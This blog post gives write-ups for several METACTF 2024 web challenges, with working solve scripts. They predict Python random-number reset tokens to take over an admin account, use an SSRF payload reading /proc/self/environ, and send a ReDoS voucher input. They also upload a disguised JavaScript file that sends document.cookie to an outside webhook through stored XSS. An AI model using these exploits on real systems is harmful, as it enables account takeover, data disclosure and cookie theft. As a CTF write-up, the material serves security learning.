Post

METACTF 2024 Web Challanges Write-Ups

Python Twister

Challange description:

Hack our admin.
Files: twister.zip

The app creates a list of 10,000 32-bit random numbers to use as password reset tokens for users. If you’re the first person to register, you’ll get the first number on the list, and then it gets removed. For the admin user, the app uses the random number at index 1499 for their reset token (admin-), and then that number is also removed from the list.

Goal: Retrieve the admin password reset token to change their password and obtain the flag.

Steps to retrieve the admin password:

1- Quick research I found this GitHub repo https://github.com/tna0y/Python-random-module-cracker which predicts python’s random module generated values.

It obtains first 624 32 bit numbers from the generator and predicts the new random numbers

2- In our case we need to obtain 624 random numbers form the server and feed them to the cracker, and then predict the remaining values until we reach the 1499 random number.

3- Start by installing the cracker module pip install randcrack

4- Write the script

Change URL variable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import time
from randcrack import RandCrack
import requests
import re

rc = RandCrack()
url="http://172.17.0.2:5000/"

for i in range(624):
	# Register user
	burp0_url = f"{url}register"
	burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"{url}", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive"}
	burp0_data = {"username": f"{i}", "password": f"{i}"}
	requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

	# Login
	burp0_url = f"{url}login"
	burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"{url}", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive"}
	burp0_data = {"username": f"{i}", "password": f"{i}"}
	r=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
	random_num=re.findall('token is \d*-(\d*)<',r.text)[0]

	print(str(i)+" - "+random_num)
	rc.submit(int(random_num)) # Feed cracker
	time.sleep(0.03) # For server not to crash
	
# Predict random numbers
for j in range(875):
	print(f"Predicting random number {j} - {rc.predict_randrange(0, 4294967295)}")
	if j == 874 :
		token=rc.predict_randrange(0, 4294967295)
		print(f"Cracker result: {token}")
    
# Reset admin password
burp0_url = f"{url}reset_password"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "Sec-GPC": "1", "Accept-Language": "en-US,en", "Referer": f"{url}/reset_password", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
burp0_data = {"reset_token": f"admin-{token}", "new_password": "pass"}
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

# Login as admin user and obtain flag
burp0_url = f"{url}login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"{url}", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive"}
burp0_data = {"username": f"admin", "password": f"pass"}
r=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(re.findall('METACTF{.*}',r.text)[0])

White

Challange description:

Our intel team has found a web page which looks innocuous, but seems to be hiding secrets locally…

White was an easy SSRF white list bypass challange.

1
file:///proc/self/environ#localhost:80

Scamming Factory (1/2)

Challange description:

I was looking for machines for my new factory and I came across this website It seems weird and it has a lot of ads popping up. Can you take a look at it for me?

Browsing the website normally shows a lot of ads, I tried to login but the adds keep poping, so I decided to check burpsuite history:

Burpsuite

It looks like it is sending keystorkes (Keylogger) to /storeverysecretkeystokesdatabase?uid=5&key=a&field=.

I sent the request to repeater, and modified some of the fields and got different response revealing another endpoint /getverysecretkeystokesdatabase:

Repeater

Sending GET request to the new endpoint I get all key strokes saved on the server, and the admin’s keystorkes were the flag.

flag

Chamb

Challange description:

Are u rich?
Hint:
regex + timeout = $$
Files: chamb.zip

Application gives new users a $100 copun code to redeem only once, and can’t redeem other users’ copun codes.

Users can buy items, and the goal is to buy the flag item which price is $1337.

So I need some way to get more money.

After reviewing the source code, I found that after the user redeems the copun and the balance is updated a coulmn in the database called first_time will be set to 1 to ensure the user can only redeem once, so I need a way to prevent the first_time column form being set to 1.

Giving a closer look, I found that the process of redeeming the code is run in another process and it is set to timeout after 1 sec, and the app only checks for the vocher code validty with regex, so if the regex match can take more than 1 sec. then the process will timeout before updating the DB.

This can be achived by giving regex a large input.

https://book.hacktricks.xyz/pentesting-web/regular-expression-denial-of-service-redos

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
def redeem_voucher_process(username, voucher, result):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute('SELECT first_time FROM users WHERE username = %s', (username,))
    first_time = cursor.fetchone()[0]

    if first_time == 1:
        result['response'] = ("You can redeem your voucher only once", 400)
        cursor.close()
        conn.close()
        return
    conn = get_db_connection()
    cursor = conn.cursor()
    try:
        pattern = r"^zoz[-_.][a-zA-Z0-9]{3,5}[-_.](\d+)+$"
        cursor.execute('UPDATE users SET balance = balance + 100 WHERE username = %s', (username,))
        conn.commit()
        print("hereee")
        match = re.match(pattern, voucher)
        print(voucher)
        if match:
            print("Voucher matched")
            cursor.execute('UPDATE users SET first_time = 1 WHERE username = %s', (username,))
            conn.commit()
            result['response'] = ("Voucher redeemed, please refresh the page to view your balance", 200)
        else:
            cursor.execute('UPDATE users SET balance = balance - 100 WHERE username = %s', (username,))
            conn.commit()
            result['response'] = ("Invalid voucher", 400)
    except Exception as e:
        result['response'] = (str(e), 400)
    finally:
        cursor.close()
        conn.close()

@app.route('/redeem_voucher', methods=['POST'])
def redeem_voucher():
    username = session.get('username')
    if not username:
        return "User not logged in please refresh the page", 400

    voucher = request.form.get('voucher')
    if not voucher:
        return "Voucher not provided", 400

    result = multiprocessing.Manager().dict()
    process = multiprocessing.Process(target=redeem_voucher_process, args=(username, voucher, result))
    process.start()

    timeout = 1  
    process.join(timeout)

    if process.is_alive():
        process.terminate()
        process.join()
        return "Something Went wrong", 400

    return result['response'][0], result['response'][1]

Request:

Sending a request 2 times with this payload and checking the balance.

1
voucher=zoz-pxi.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a

chamb1

Resend the request 12 times to get 1400 and buy the flag.

chamb2

Buy flag:

chambFlag

Duck Store

Challange description:

Someone told me a story about ducks so i decided to make a website about it
Files: duckstores.zip

  • Application supports uploading zip files conatining only one file, and send a report to the admin bot, the flag will be in the admin’s cookie.
  • A CSP is present and only accepts scripts form the server, this can be bypassed if the user can upload files.
  • File check for jpg can be bypassed as it only checks if jpg magic bytes exists in the file.
  • Files that bypassed the checks are move to tmp, and this can be prevented by letting the pngcheck command issue an error when the zip file contianes a directory that contians the file or using symlinks.

Solve.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import os
import requests
import time
import re

url="http://42695d31-5f22-4352-8eb6-085fe23f97ea.cscpsut.com/"
webhook_url = "https://metactf2.requestcatcher.com/test".encode()

# Create javascrpt file with the marker needed to bypass the check
def write():
    with open('exploit_dir/bypass.js', 'wb') as f:
        script_content=b'window.location.href="'+webhook_url+b'?c="+document.cookie\n\n'
        f.write(script_content)
        marker1 = b'x=\'\xff\xd8\xff\xdb\''
        f.write(marker1)

# Same check funtion form the challnge to chcek if the file created will pass.
def check():
    marker1 = b'\xff\xd8\xff\xdb'
    marker2 = b'\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01'
    with open(f'exploit_dir/bypass.js', 'rb') as f:
        content = f.read()
        if marker1 not in content:
            if marker2 not in content:
                return False
    return True

#
write()
print(check())

# Create zip file
os.system("zip -r exploit.zip exploit_dir")

# Upload zip file
upload_url = f'{url}/upload'
file_path = 'exploit.zip'
files = {'file': ('exploit.zip', open(file_path, 'rb'), 'application/zip')}
response = requests.post(upload_url, files=files)
currenttime=int(time.time())
print(response.status_code)

# Check the exact time on the server
for i in range(10):
    if requests.get(f'{url}/uploads/{currenttime+i}/exploit_dir/bypass.js').status_code!=500:
        print(f'{url}/uploads/{currenttime+i}/exploit_dir/bypass.js')
        currenttime=currenttime+i
        break
    if requests.get(f'{url}/uploads/{currenttime-i}/exploit_dir/bypass.js').status_code!=500:
        print(f'{url}/uploads/{currenttime-i}/exploit_dir/bypass.js')
        currenttime=currenttime-i
        break

# Submit contact form
burp0_url = f"{url}/contact"
burp0_data = {"name": "1", "email": "[email protected]", "message": f"<script src=\"/uploads/{str(currenttime)}/exploit_dir/bypass.js\"></script>", "submit": ''}
response=requests.post(burp0_url, data=burp0_data)
print(url+"/"+re.findall("(reports/.*) shortly",response.text)[0])
This post is licensed under CC BY 4.0 by the author.